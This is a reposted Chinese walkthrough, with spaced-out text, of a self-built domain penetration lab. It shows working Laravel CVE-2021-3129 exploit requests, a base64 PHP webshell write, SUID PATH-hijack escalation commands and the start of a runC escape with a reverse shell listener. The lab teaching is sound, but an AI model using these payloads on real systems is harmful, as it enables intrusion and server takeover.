搜索

[18536] 2021-03-08_实战记录｜自主搭建的三层网络域渗透靶场

文档创建者：s7ckTeam
浏览次数：108
最后更新：2025-01-18
2021-03-08_实战记录｜自主搭建的三层网络域渗透靶场 实 战 记 录   ｜   自 主 搭 建 的 三 层 网 络 域 渗 透 靶 场 原 创   W H O A M I   H A C K 学 习 呀   2 0 2 1 - 0 3 - 0 8 前 言 前 言 假 期 马 上 结 束 了 ， 闲 暇 之 时 我 自 己 尝 试 着 搭 建 了 一 个 内 网 渗 透 的 靶 场 。 靶 场 是 根 据 比 较 新 的 漏 洞 进 行 搭 建 的 ， 质 量 自 以 为 还 可 以 。 目 前 此 靶 场 已 在 v u l n s t a c k 开 源 ， 下 载 链 接 ： h t t p : / / v u l n s t a c k . q i y u a n x u e t a n g . n e t / v u l n / d e t a i l / 9 / 文 中 若 有 不 当 之 处 还 请 各 位 大 佬 多 多 点 评 我 的 博 客 ： h t t p s : / / w h o a m i a n o n y . t o p / 整 个 靶 场 的 网 络 环 境 分 为 三 层 。 从 最 初 的 信 息 收 集 、 外 网 初 探 、 攻 入 内 网 、 搭 建 代 理 ， 横 向 移 动 ， 最 终 拿 下 域 控 。 整 个 靶 场 所 涉 及 的 技 术 点 大 致 如 下 ： • 信 息 收 集 ： 信 息 收 集 ： • 端 口 扫 描 • 端 口 服 务 识 别 漏 洞 利 用 ： 漏 洞 利 用 ： • 漏 洞 搜 索 与 利 用 • L a r a v e l   D e b u g   m o d e   R C E （ C V E - 2 0 2 1 - 3 1 2 9 ） 漏 洞 利 用 • D o c k e r 逃 逸 • 通 达 O A   v 1 1 . 3   漏 洞 利 用 • L i n u x 环 境 变 量 提 权 • R e d i s   未 授 权 访 问 漏 洞
• L i n u x   s u d o 权 限 提 升 （ C V E - 2 0 2 1 - 3 1 5 6 ） 漏 洞 利 用 • S S H 密 钥 利 用 • W i n d o w s   N e t L o g o n   域 内 权 限 提 升 （ C V E - 2 0 2 0 - 1 4 7 2 ） 漏 洞 利 用 • M S 1 4 - 0 6 8 漏 洞 利 用 构 建 隧 道 ： 构 建 隧 道 ： • 路 由 转 发 与 代 理 • 二 层 网 络 代 理 • 三 层 网 络 代 理 横 向 移 动 ： 横 向 移 动 ： • 内 网 （ 域 内 ） 信 息 收 集 • M S 1 7 - 0 1 0 • W i n d o w s 系 统 N T L M 与 用 户 凭 据 获 取 • S M B   R e l a y 攻 击 • P s e x e c 远 控 利 用 • 哈 希 传 递 攻 击 （ P T H ） • W M I 利 用 • D C O M 利 用 权 限 维 持 ： 权 限 维 持 ： • 黄 金 票 据 • 白 银 票 据 • S i d   H i s t o r y 整 个 网 络 环 境 的 拓 扑 图 大 致 如 下 ： 第 二 层 网 络 中 的 所 有 主 机 皆 可 以 上 网 ， 但 是 位 于 第 三 层 网 络 中 的 所 有 主 机 都 不 与 外 网 相 连 通 ， 不 能 上 网 。 外 网 渗 透 外 网 渗 透 假 设 渗 透 的 目 标 客 户 只 给 出 了 一 个 域 名 ： w w w . x x x x . c o m ， 下 面 我 们 要 在 黑 盒 的 情 况 下 对 目 标 网 络 进 行 渗 透 ， 最 终 需 要 拿 下 域 控 制 器 权 限 。 直 接 访 问 该 域 名 ， 发 现 是 一 个 博 客 的 站 点 ：
i m a g e - 2 0 2 1 0 2 2 5 1 2 4 2 0 2 2 2 5 随 便 翻 翻 除 了 文 章 写 得 还 不 错 以 外 没 有 发 现 什 么 ， e m m m m . . . . . . 信 息 收 集 信 息 收 集 首 先 得 到 目 标 网 站 的 I P 为 1 9 2 . 1 6 8 . 1 . 8 ， 然 后 直 接 对 目 标 I P 进 行 端 口 扫 描 ： i m a g e - 2 0 2 1 0 2 2 5 2 2 1 9 4 3 7 4 1 如 上 图 ， 目 标 除 了 8 0 端 口 外 还 开 启 了 2 2 、 8 1 和 6 3 7 9 端 口 。 查 看 8 1 端 口 ： n m a p   - T 4   - s C   - s V   1 9 2 . 1 6 8 . 1 . 8
i m a g e - 2 0 2 1 0 2 2 5 1 2 4 9 3 0 0 8 3 发 现 是 个 L a r a v e l 的 站 点 ， L a r a v e l 是 一 套 简 洁 、 开 源 的 P H P   W e b 开 发 框 架 ， 旨 在 实 现 W e b 软 件 的 M V C 架 构 。 而 在 2 0 2 1 年 0 1 月 1 2 日 ， L a r a v e l 被 披 露 存 在 一 个 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 2 1 - 3 1 2 9 ） 。 当 L a r a v e l 开 启 了 D e b u g 模 式 时 ， 由 于 L a r a v e l 自 带 的 I g n i t i o n   组 件 对 f i l e _ g e t _ c o n t e n t s ( ) 和 f i l e _ p u t _ c o n t e n t s ( ) 函 数 的 不 安 全 使 用 ， 攻 击 者 可 以 通 过 发 起 恶 意 请 求 ， 构 造 恶 意 L o g 文 件 等 方 式 触 发 P h a r 反 序 列 化 ， 最 终 造 成 远 程 代 码 执 行 。 目 标 站 点 的 L a r a v e l 版 本 正 好 在 今 年 刚 爆 出 来 的 L a r a v e l   D e b u g   m o d e   R C E 漏 洞 （ C V E - 2 0 2 1 - 3 1 2 9 ） 的 范 围 内 ， 该 漏 洞 的 体 用 可 以 看 我 的 这 一 篇 文 章 ： [ 《 L a r a v e l   D e b u g   m o d e   R C E （ C V E - 2 0 2 1 - 3 1 2 9 ） 漏 洞 复 现 》 ] ( h t t p s : / / w h o a m i a n o n y . t o p / 2 0 2 1 / 0 1 / 1 5 / 漏 洞 复 现 / L a r a v e l / L a r a v e l   D e b u g   m o d e   R C E （ C V E - 2 0 2 1 - 3 1 2 9 ） 利 用 复 现 / )   ， 下 面 我 们 尝 试 进 行 初 步 的 攻 击 。 L a r a v e l   D e b u g   m o d e   R C E 漏 洞 利 用 漏 洞 利 用 （ 1 ） 首 先 使 用   p h p g g c   工 具 生 成 一 条 l a r a v e l 中 存 在 的 反 序 列 化 利 用 P O C （ 经 过 编 码 后 的 ） ： 得 到 的 P O C （ 编 码 后 的 ） 最 后 面 再 加 一 个 a ， 否 则 最 终 l a r a v e l . l o g 里 面 将 生 成 两 个 P O C ， 导 致 利 用 失 败 ： p h p   - d   " p h a r . r e a d o n l y = 0 "   . / p h p g g c   L a r a v e l / R C E 5   " p h p i n f o ( ) ; "   - - p h a r   p h a r   - o   p h p : / / o u t p u t   |   b a s e 6 4   - w   0   |   p y t h o n   - c   " i m p o r t   s y s ; p r i n t ( ' ' . j o i n ( [ ' = '   +   h e x ( o r d ( i ) ) [ 2 : ]   +   ' = 0 0 '   f o r   i   i n   s y s . s t d i n . r e a d ( ) ] ) . u p p e r ( ) ) "
i m a g e - 2 0 2 1 0 2 2 5 1 2 5 5 2 9 8 4 3 （ 2 ） 发 送 如 下 数 据 包 ， 将 L a r a v e l 的 原 日 志 文 件 l a r a v e l . l o g 清 空 ： （ 3 ） 发 送 如 下 数 据 包 ， 给 L o g 增 加 一 次 前 缀 ， 用 于 对 齐 ： （ 4 ） 将 之 前 生 成 的 编 码 后 的 P O C 作 为 v i e w F i l e 的 值 ， 发 送 数 据 包 ： P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   3 2 8 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " p h p : / / f i l t e r / w r i t e = c o n v e r t . i c o n v . u t f - 8 . u t f - 1 6 b e | c o n v e r t . q u o t e d - p r i n t a b l e - e n c o d e | c o n v e r t . i c o n v . u t f - 1 6 b e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = . . / s t o r a g e / l o g s / l a r a v e l . l o g "     } } P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   1 6 3 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " A A "     } }
（ 5 ） 发 送 如 下 数 据 包 ， 清 空 对 l o g 文 件 中 的 干 扰 字 符 ， 只 留 下 P O C ： 这 一 步 可 能 会 出 现 异 常 ， 导 致 无 法 正 确 清 理 L o g 文 件 。 如 果 出 现 这 种 状 况 ， 可 以 重 新 从 第 一 步 开 始 尝 试 。 （ 6 ） 使 用     进 行 反 序 列 化 ， 执 行 任 意 代 码 （ 此 时 需 要 使 用 绝 对 路 径 ） ： 如 下 图 所 示 ， P H P I N F O 已 成 功 执 行 ， 漏 洞 利 用 成 功 ： P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   5 0 5 8 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " = 5 0 = 0 0 = 4 4 = 0 0 = 3 9 = 0 0 = 7 7 = 0 0 = 6 1 = 0 0 = 4 8 = 0 0 = 4 1 = 0 0 = 6 7 = 0 0 = 5 8 = 0 0 = 3 1 = 0 0 = 3 9 = 0 0 = 4 9 = 0 0 = 5 1 = 0 0 = 5 5 = 0 0 = 7 8 = 0 0 = 5 5 = 0 0 = 5 8 = 0 0 = 3 0 = 0 0 = 4 E = 0 0 = 5 0 = 0 0 = 5 4 = 0 0 = 5 6 = 0 0 = 4 2 = 0 0 = 4 A = 0 0 = 5 4 = 0 0 = 4 5 = 0 0 = . . . . . . 2 B = 0 0 = 5 7 = 0 0 = 6 1 = 0 0 = 6 3 = 0 0 = 4 E = 0 0 = 6 7 = 0 0 = 4 9 = 0 0 = 4 1 = 0 0 = 4 1 = 0 0 = 4 1 = 0 0 = 4 2 = 0 0 = 4 8 = 0 0 = 5 1 = 0 0 = 6 B = 0 0 = 3 1 = 0 0 = 4 3 = 0 0 a "     } } P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   2 9 9 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " p h p : / / f i l t e r / w r i t e = c o n v e r t . q u o t e d - p r i n t a b l e - d e c o d e | c o n v e r t . i c o n v . u t f - 1 6 l e . u t f - 8 | c o n v e r t . b a s e 6 4 - d e c o d e / r e s o u r c e = . . / s t o r a g e / l o g s / l a r a v e l . l o g "     } } p h a r : / / P O S T   / _ i g n i t i o n / e x e c u t e - s o l u t i o n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 . 8 : 8 1 C o n t e n t - T y p e :   a p p l i c a t i o n / j s o n C o n t e n t - L e n g t h :   2 1 0 {     " s o l u t i o n " :   " F a c a d e I g n i t i o n S o l u t i o n s M a k e V i e w V a r i a b l e O p t i o n a l S o l u t i o n " ,     " p a r a m e t e r s " :   {         " v a r i a b l e N a m e " :   " u s e r n a m e " ,         " v i e w F i l e " :   " p h a r : / / / v a r / w w w / s t o r a g e / l o g s / l a r a v e l . l o g / t e s t . t x t "     } }
i m a g e - 2 0 2 1 0 2 2 5 1 3 1 0 3 0 3 4 4 我 们 可 以 利 用 该 漏 洞 写 入 W e b s h e l l ： 重 复 上 述 利 用 步 骤 后 ， 成 功 写 入 w e b s h e l l 并 连 接 成 功 ： i m a g e - 2 0 2 1 0 2 2 5 1 3 2 3 4 3 0 0 7 我 们 在 使 用 蚁 剑 执 行 命 令 时 发 现 目 标 主 机 的 主 机 名 有 点 显 眼 ， 可 能 我 们 那 下 的 s h e l l 处 于 一 个 容 器 环 境 ： p h p   - d   " p h a r . r e a d o n l y = 0 "   . / p h p g g c   L a r a v e l / R C E 5   " s y s t e m ( ' e c h o   P D 9 w a H A g Z X Z h b C g k X 1 B P U 1 R b d 2 h v Y W 1 p X S k 7 P z 4 = | b a s e 6 4   - d   >   / v a r / w w w / h t m l / s h e l l . p h p ' ) ; "
i m a g e - 2 0 2 1 0 2 2 5 1 3 4 3 1 8 5 5 8 使 用 如 下 命 令 进 行 测 试 ， 我 们 发 现 我 们 获 得 的 s h e l l 确 实 运 行 在 一 个 d o c k e r 容 器 内 ： i m a g e - 2 0 2 1 0 2 2 5 1 3 5 1 4 7 9 1 8 这 样 好 吗 ， 这 样 不 好 ！ 下 面 我 们 需 要 d o c k e r 逃 逸 来 获 取 目 标 主 机 （ d o c k e r 宿 主 机 ） 的 权 限 。 但 此 时 我 们 所 获 得 的 是 w w w - d a t a 用 户 的 权 限 ， 权 限 比 较 低 ， 干 不 成 什 么 大 事 ， 所 以 要 想 办 法 提 升 一 下 权 限 。 官 方 文 档 中 提 到 了 L i n u x 环 境 变 量 提 权 ， 我 们 直 接 使 用 f i n d 命 令 来 搜 索 具 有 S U I D 或 4 0 0 0 权 限 的 文 件 ： 通 过 执 行 上 述 命 令 ， 攻 击 者 可 以 遍 历 任 何 可 执 行 文 件 ， 在 这 里 我 们 可 以 看 到 / h o m e / j o b s 目 录 下 有 一 个 s h e l l 文 件 ， 这 名 字 很 显 眼 ， 并 且 其 具 有 S U I D 权 限 ： i m a g e - 2 0 2 1 0 2 2 5 2 3 0 0 2 7 2 1 5 于 是 我 们 c d 到 / h o m e / j o b s 目 录 下 ， l s 一 下 ， 确 实 看 到 了 名 为 s h e l l 的 可 执 行 文 件 。 我 们 运 行 一 下 这 个 文 件 ： c a t   / p r o c / s e l f / c g r o u p f i n d   /   - p e r m   - u = s   - t y p e   f   2 > / d e v / n u l l
i m a g e - 2 0 2 1 0 2 2 5 2 3 0 1 5 1 2 5 6 可 以 看 到 s h e l l 文 件 执 行 了 p s 命 令 ， 并 且 未 使 用 绝 对 路 径 ， 所 以 我 们 可 以 尝 试 更 改 $ P A T H 来 执 行 我 们 的 恶 意 程 序 ， 从 而 获 得 目 标 主 机 的 高 权 限 s h e l l 。 首 先 使 用 蚁 剑 反 弹 一 个 s h e l l 过 来 ， 然 后 在 s h e l l 中 执 行 如 下 命 令 ： i m a g e - 2 0 2 1 0 2 2 5 2 3 5 4 0 5 8 2 4 如 上 图 所 示 ， 成 功 提 升 为 r o o t 权 限 。 之 后 为 了 方 便 ， 我 们 可 以 使 用 m s f 生 成 一 个 木 马 ， 然 后 上 传 到 目 标 主 机 上 执 行 ， 来 获 得 一 个 m e t a s p l o i t 的 m e t e r p r e t e r ， 具 体 步 骤 略 。 利 用 利 用 D o c k e r   r u n C 漏 洞 逃 逸 漏 洞 逃 逸 该 漏 洞 （ C V E - 2 0 1 9 - 5 7 3 6 ） 是 2 0 1 9 年 爆 出 的 。 在 D o c k e r   1 8 . 0 9 . 2 之 前 的 版 本 中 使 用 的 r u n c 版 本 小 于 1 . 0 - r c 6 ， 其 允 许 攻 击 者 重 写 宿 主 机 上 的 r u n c   二 进 制 文 件 ， 攻 击 者 可 以 在 宿 主 机 上 以 r o o t 身 份 执 行 命 令 。 利 用 该 漏 洞 需 要 满 足 以 下 两 个 条 件 之 一 ： c d   / t m p e c h o   " / b i n / b a s h "   >   p s c h m o d   7 7 7   p s e c h o   $ P A T H   e x p o r t   P A T H = / t m p : $ P A T H   #   将 / t m p 添 加 到 环 境 变 量 中 ， 并 且 先 加 载 执 行 / t m p 里 的 程 序 c d   / h o m e / j o b s . / s h e l l #   然 后 就 获 得 了 r o o t 权 限 ， 可 以 执 行 命 令 了
• 由 一 个 攻 击 者 控 制 的 恶 意 镜 像 创 建 • 攻 击 者 具 有 某 已 存 在 容 器 的 写 权 限 ， 且 可 通 过 d o c k e r   e x e c 进 入 。 首 先 下 载 攻 击 脚 本 ：   h t t p s : / / g i t h u b . c o m / F r i c h e t t e n / C V E - 2 0 1 9 - 5 7 3 6 - P o C 打 开 m a i n . g o 脚 本 ， 将 脚 本 中 要 在 目 标 机 上 执 行 的 命 令 修 改 为 反 弹 s h e l l 的 命 令 ， I P 为 攻 击 机 I P ， 端 口 为 攻 击 机 监 听 的 端 口 ： i m a g e - 2 0 2 1 0 2 2 5 1 4 0 2 0 4 0 0 3 执 行 命 令 编 译 生 成 p a y l o a d 将 生 成 的 利 用 程 序 m a i n 上 传 到 目 标 主 机 并 赋 予 权 限 ： i m a g e - 2 0 2 1 0 2 2 5 1 5 3 4 1 4 6 9 3 接 着 在 攻 击 机 k a l i 上 面 启 动 n c 监 听 ： 接 着 在 目 标 d o c k e r 上 面 运 行 m a i n 文 件 ： C G O _ E N A B L E D = 0   G O O S = l i n u x   G O A R C H = a m d 6 4   g o   b u i l d   m a i n . g o n c   - l v p   2 3 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理